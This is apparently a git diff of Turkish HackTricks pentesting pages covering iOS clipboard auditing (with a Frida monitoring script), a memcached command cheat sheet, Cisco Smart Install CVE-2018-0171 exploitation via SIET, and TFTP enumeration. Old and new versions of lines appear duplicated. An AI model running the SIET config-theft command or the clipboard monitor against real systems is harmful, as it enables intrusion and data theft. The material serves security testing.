iOS cihazlarında ve uygulamalar arasında veri paylaşımı, [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması aracılığıyla sağlanır ve bu mekanizma genellikle iki ana kategoriye ayrılır:
iOS cihazlarında uygulamalar arasında ve içinde veri paylaşımı, [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması aracılığıyla sağlanır ve iki temel kategoriye ayrılır:
- **Sistem genel panosu**: Bu, verilerin **herhangi bir uygulama ile paylaşılması** için kullanılır ve iOS 10'dan beri mevcut olan verilerin cihaz yeniden başlatmaları ve uygulama kaldırmaları boyunca kalıcı olmasını sağlayan bir özellik içerir.
- **Özel / Adlandırılmış panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile veri paylaşımı** için özeldir ve oluşturan uygulama sürecinin yaşam süresini aşmamak üzere tasarlanmıştır ve iOS 10'da yapılan değişiklikleri takip eder.
- **Sistem genel panosu**: Bu, verilerin **herhangi bir uygulama ile paylaşılması** için kullanılır ve iOS 10'dan beri mevcut olan verilerin cihaz yeniden başlatmaları ve uygulama kaldırmaları boyunca kalıcı olmasını sağlar.
- **Özel / Adlandırılmış panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile veri paylaşımı** için özeldir ve oluşturan uygulama sürecinin yaşam süresinden öteye geçmeyecek şekilde tasarlanmıştır, iOS 10'da yapılan değişiklikleri takip eder.
**Güvenlik düşünceleri**, panoları kullanırken önemli bir rol oynar. Örneğin:
- Kullanıcıların **panoya erişim izinlerini yönetmeleri** için bir mekanizma bulunmamaktadır.
- Panonun izinsiz arka planda izlenmesi riskini azaltmak için erişim, uygulama önyüzdeyken kısıtlanmıştır (iOS 9'dan beri).
- Gizlilik endişeleri nedeniyle kalıcı adlandırılmış panoların kullanımı yerine paylaşılan konteynerlerin tercih edilmesi önerilir.
- iOS 10 ile tanıtılan **Evrensel Pano** özelliği, içeriğin genel panoyoluyla cihazlar arasında paylaşılmasına izin verir ve geliştiricilerin veri süresini ayarlamak ve otomatik içerik transferini devre dışı bırakmak için yönetilmesine olanak tanır.
- Kullanıcıların **panoya erişim izinlerini yönetmek** için bir mekanizma yoktur.
- Panonun izinsiz arka planda izlenmesi riskini azaltmak için erişim, uygulama önde iken kısıtlanmıştır (iOS 9'dan beri).
- Gizlilik endişeleri nedeniyle kalıcı adlandırılmış panoların kullanımı yerine paylaşılan konteynerlerin tercih edilir.
- iOS 10 ile tanıtılan **Evrensel Pano** özelliği, içeriğin genel panoyoluyla cihazlar arasında paylaşılmasına izin verir ve geliştiriciler tarafından veri süresi ve otomatik içerik transferini devre dışı bırakmak için yönetilebilir.
**Hassas bilgilerin yanlışlıkla depolanmamasının** sağlanması önemlidir. Ayrıca, uygulamaların genel panodaki verilerin yanlış amaçlar için kullanılmasını önlemek üzere tasarlanması ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilir.
**Hassas bilgilerin yanlışlıkla** genel panoya kaydedilmediğinden emin olmak önemlidir. Ayrıca, uygulamaların genel panodaki verilerin yanlış amaçlar için kullanılmasını önlemek için tasarlanması ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilir.
### Statik Analiz
Statik analiz için kaynak kodu veya ikili dosyada arama yaparak:
- `generalPasteboard` kullanımını belirlemek için **sistem genel panosunu** arayın.
- **Özel panoları oluşturmak için** `pasteboardWithName:create:` ve `pasteboardWithUniqueName` arayın. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu yöntem artık kullanımdan kaldırılmıştır.
Statik analiz için kaynak kodu veya ikili dosyada arama yapın:
- **Sistem genel panosu** kullanımını belirlemek için `generalPasteboard`'u arayın.
- **Özel panolar** oluşturmak için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'i arayın. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu yöntem artık kullanımdan kaldırılmıştır.
### Dinamik Analiz
Dinamik analiz, belirli yöntemleri kancalama veya izleme işlemi içerir:
- Sistem genel kullanım için `generalPasteboard`'u izleyin.
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'yi izleyin.
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'i izleyin.
- Kalıcılık ayarlarını kontrol etmek için kullanılan artık kullanılmayan `setPersistent:` yöntem çağrılarını izleyin.
İzlenmesi gereken temel detaylar şunlardır:
- **Pano adları** ve **içerikleri** (örneğin, dizeler, URL'ler, resimler kontrol edilir).
- Standart ve özel veri türü kontrollerini kullanarak mevcut olan **öğe sayısı** ve **veri türleri**.
- `setItems:options:` yöntemini inceleyerek **süresi dolmuş ve yalnızca yerel seçenekleri** kontrol edin.
- Standart ve özel veri türü kontrollerinden yararlanarak mevcut **öğe sayısı** ve **veri türleri**.
- `setItems:options:` yöntemini inceleyerek **süre ve yalnızca yerel seçeneklerini** kontrol edin.
Bir izleme aracı kullanımı örneği **objection'ın pano izleyicisi**dir, bu araç genelPanoyu her 5 saniyede bir değişiklikleri izler ve yeni verileri çıktılar.
Bir izleme aracı kullanımı örneği **objection'ın pano izleyicisi**dir, bu araç genelPasteboard'u her 5 saniyede bir değişiklikleri izler ve yeni verileri çıktılar.
İşte, obje'nin yaklaşımından esinlenerek her 5 saniyede bir panodan değişiklikleri okuyan ve kaydeden basit bir JavaScript betiği örneği:
İşte, objection'ın yaklaşımından esinlenerek her 5 saniyede bir panodan değişiklikleri okuyan ve kaydeden basit bir JavaScript betiği örneği:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -80,21 +80,21 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman oluncaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,30 +6,31 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Komutlar Hızlı Referansı
## Komutlar Hile Kağıdı
**Kaynak** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) belgesinde belgelenmiştir.
Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynakta](https://github.com/memcached/memcached) bulabileceğiniz komutların genel bir bakışı (19.08.2016 itibariyle):
Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynakta](https://github.com/memcached/memcached) bulabileceğiniz komutların genel bir bakışı (19.08.2016 itibarıyla):
| Komut | Açıklama | Örnek |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| --------------------- | -------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Bir değeri okur | `get mykey` |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n satır sonlarını kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n'yi satır sonu olarak kullanmaya dikkat edin. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Yeni bir anahtar ekler | `add newkey 0 60 5` |
| replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` |
| append | Mevcut anahtara veri ekler | `append key 0 60 15` |
@ -57,7 +58,7 @@ Mevcut trafik istatistiklerini sorgulayabilirsiniz kullanarak
```
stats
```
Aşağıdaki komut, bağlantı sayısını, gelen ve giden baytları ve daha fazlasını sunan bir listeleme almanızı sağlar.
Aşağıdaki gibi bir listeleme alacaksınız, bağlantı sayısı, gelen/giden baytlar ve daha fazlasını sunar.
Örnek Çıktı:
```
@ -85,7 +86,9 @@ STAT limit_maxbytes 52428800
STAT threads 1
END
```
#### Bellek İstatistikleri <a href="#bellek-istatistikleri" id="bellek-istatistikleri"></a>
#### Bellek İstatistikleri <a href="#memory-statistics" id="memory-statistics"></a>
Mevcut bellek istatistiklerini sorgulayabilirsiniz.
```
stats slabs
```
@ -110,18 +113,18 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Eğer memcached örneğiniz için yeterli belleğiniz olduğundan emin değilseniz, her zaman "stats" komutu tarafından verilen "evictions" sayaçlarına dikkat edin. Örneğiniz için yeterli belleğiniz varsa "evictions" sayacı 0 olmalı veya en azından artmamalıdır.
#### Hangi Anahtarlar Kullanılıyor? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
Mevcut anahtar kümesini doğrudan belirlemek için yerleşik bir işlev yoktur. Bununla birlikte, kullanabilirsiniz
Mevcut anahtar kümesini doğrudan belirlemek için yerleşik bir işlev yoktur. Bununla birlikte, anahtar kümesini belirlemek için
```
stats items
```
Komut, kaç anahtarın mevcut olduğunu belirlemek için kullanılır.
```html
<p>command to determine how many keys do exist.</p>
```
```plaintext
stats items
```html
<p>var olan kaç anahtarın olduğunu belirlemek için komut.</p>
```
```
stats items
@ -135,7 +138,7 @@ END
Bu en azından kullanılan anahtarları görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -147,8 +150,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,24 +2,24 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin!</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
**Cisco Akıllı Kurulum**, yeni Cisco donanımı için başlangıç yapılandırmasını ve işletim sistemi görüntüsünün yüklenmesini otomatikleştirmek amacıyla tasarlanmış bir Cisco'dur. **Varsayılan olarak, Cisco Akıllı Kurulum, Cisco donanımında etkindir ve taşıma katmanı protokolü olan TCP'yi, 4786 numaralı bağlantı noktasıyla kullanır.**
**Cisco Akıllı Kurulum**, yeni Cisco donanımı için işletim sistemi görüntüsünün otomatik yapılandırılmasını ve yüklenmesini sağlamak amacıyla tasarlanmış bir Cisco'dur. **Cisco Akıllı Kurulum, Cisco donanımlarında varsayılan olarak etkindir ve taşıma katmanı protokolü olan TCP'yi, 4786 numaralı bağlantı noktasıyla kullanır.**
**Varsayılan bağlantı noktası:** 4786
```
@ -28,7 +28,7 @@ PORT STATE SERVICE
```
## **Akıllı Kurulum Sömürü Aracı**
**2018 yılında, bu protokolde kritik bir zafiyet, CVE-2018-0171, bulundu. Tehdit seviyesi CVSS ölçeğinde 9.8'dir.**
**2018 yılında, bu protokolde kritik bir zayıflık, CVE-2018-0171, bulundu. Tehdit seviyesi CVSS ölçeğinde 9.8'dir.**
**Cisco Smart Install'in etkin olduğu TCP/4786 bağlantı noktasına gönderilen özel oluşturulmuş bir paket, bir saldırganın:**
@ -36,11 +36,11 @@ PORT STATE SERVICE
* RCE çağrısı yapmasına
* ağ ekipmanlarının yapılandırmalarını çalmasına olanak tanır.
**[SIET](https://github.com/frostbits-security/SIET) (Akıllı Kurulum Sömürü Aracı)** bu zafiyeti sömürmek için geliştirilmiştir, Cisco Smart Install'i kötüye kullanmanıza olanak tanır. Bu makalede size nasıl meşru bir ağ donanımı yapılandırma dosyasını okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özellikleri hakkında bilgi edinecektir. Ve bu, hayatı kolaylaştıracak ve saldırı için yeni vektörler bulmayı sağlayacaktır.
**[SIET](https://github.com/frostbits-security/SIET) (Akıllı Kurulum Sömürü Aracı)** bu zayıflığı sömürmek için geliştirilmiştir, Cisco Smart Install'i kötüye kullanmanıza olanak tanır. Bu makalede size nasıl meşru bir ağ donanımı yapılandırma dosyasını okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özellikleri hakkında bilgi edinecektir. Ve bu, hayatı kolaylaştıracak ve saldırı için yeni vektörler bulmayı sağlayacaktır.
**Hedef cihaz, "canlı" Cisco Catalyst 2960 anahtarı olacaktır. Sanal görüntülerde Cisco Smart Install bulunmadığından, yalnızca gerçek donanımda pratik yapabilirsiniz.**
**Hedef cihaz, "canlı" Cisco Catalyst 2960 anahtarı olacaktır. Sanal görüntülerde Cisco Smart Install bulunmadığından, yalnızca gerçek donanımda uygulama yapabilirsiniz.**
Hedef anahtarın adresi **10.10.100.10 ve CSI etkindir.** SIET'i yükleyin ve saldırıyı başlatın. **-g argümanı** cihazdan yapılandırmanın dışa aktarımını, **-i argümanı** ise zafiyetli hedefin IP adresini ayarlamanıza olanak tanır.
Hedef anahtarın adresi **10.10.100.10 ve CSI etkindir.** SIET'i yükleyin ve saldırıyı başlatın. **-g argümanı** cihazdan yapılandırmanın dışa aktarımını, **-i argümanı** ise zayıf hedefin IP adresini ayarlamanıza olanak tanır.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -51,18 +51,18 @@ Anahtar yapılandırma **10.10.100.10** adresindeki **tftp/** klasöründe olaca
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek PR'larınızı** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details>

View file

@ -1,10 +1,10 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunu</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
@ -12,31 +12,31 @@ HackTricks'ı desteklemenin diğer yolları:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Temel Bilgiler
**Basit Dosya Transfer Protokolü (TFTP)**, kimlik doğrulaması gerektirmeyen dosya transferlerine izin veren **UDP port 69** üzerinde kullanılan basit bir protokoldür. **RFC 1350**'de vurgulanan, basitliği nedeniyle temel güvenlik özelliklerinden yoksun olup, bu durum genel İnternet'te sınırlı kullanımına neden olmaktadır. Bununla birlikte, **TFTP**, **VoIP telefonları** gibi cihazlara **konfigürasyon dosyaları** ve **ROM görüntüleri** dağıtmak için büyük iç ağlarda yaygın olarak kullanılmaktadır, çünkü bu belirli senaryolarda etkilidir.
**Basit Dosya Transfer Protokolü (TFTP)**, kimlik doğrulaması gerektirmeyen dosya transferlerine izin veren **UDP port 69** üzerinde kullanılan basit bir protokoldür. **RFC 1350**'de vurgulanan, basitliği nedeniyle temel güvenlik özelliklerinden yoksun olup bu durum genellikle genel İnternet'te sınırlı kullanımına neden olur. Bununla birlikte, **TFTP**, **VoIP telefonları** gibi cihazlara **konfigürasyon dosyaları** ve **ROM görüntüleri** dağıtmak için büyük iç ağlarda verimliliği nedeniyle yaygın olarak kullanılmaktadır.
**YAPILACAKLAR**: Bir Bittorrent izleyicisinin ne olduğu hakkında bilgi sağlayın (Shodan bu bağlantı noktasını bu adla tanımlar). Bu konuda daha fazla bilgiye sahipseniz bize bildirin, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda).
**YAPILACAKLAR**: Bir Bittorrent izleyicisi nedir hakkında bilgi sağlayın (Shodan bu bağlantı noktasını bu adla tanımlar). Bu konuda daha fazla bilgi sahibiyseniz bize bildirin, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda).
**Varsayılan Bağlantı Noktası:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# Sıralama
# Enumerasyon
TFTP, dizin listeleme sağlamaz, bu yüzden `nmap`'ten `tftp-enum` betiği varsayılan yolları kaba kuvvetle deneyecektir.
TFTP dizin listeleme sağlamadığından, `nmap` içerisinde bulunan `tftp-enum` betiği varsayılan yolları brute-force deneyecektir.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## İndirme/Yükleme
Dosyaları indirip/yükleyebilirsiniz:
Dosyaları indirip/yükleyebilirsiniz, bunun için Metasploit veya Python kullanabilirsiniz:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -52,21 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
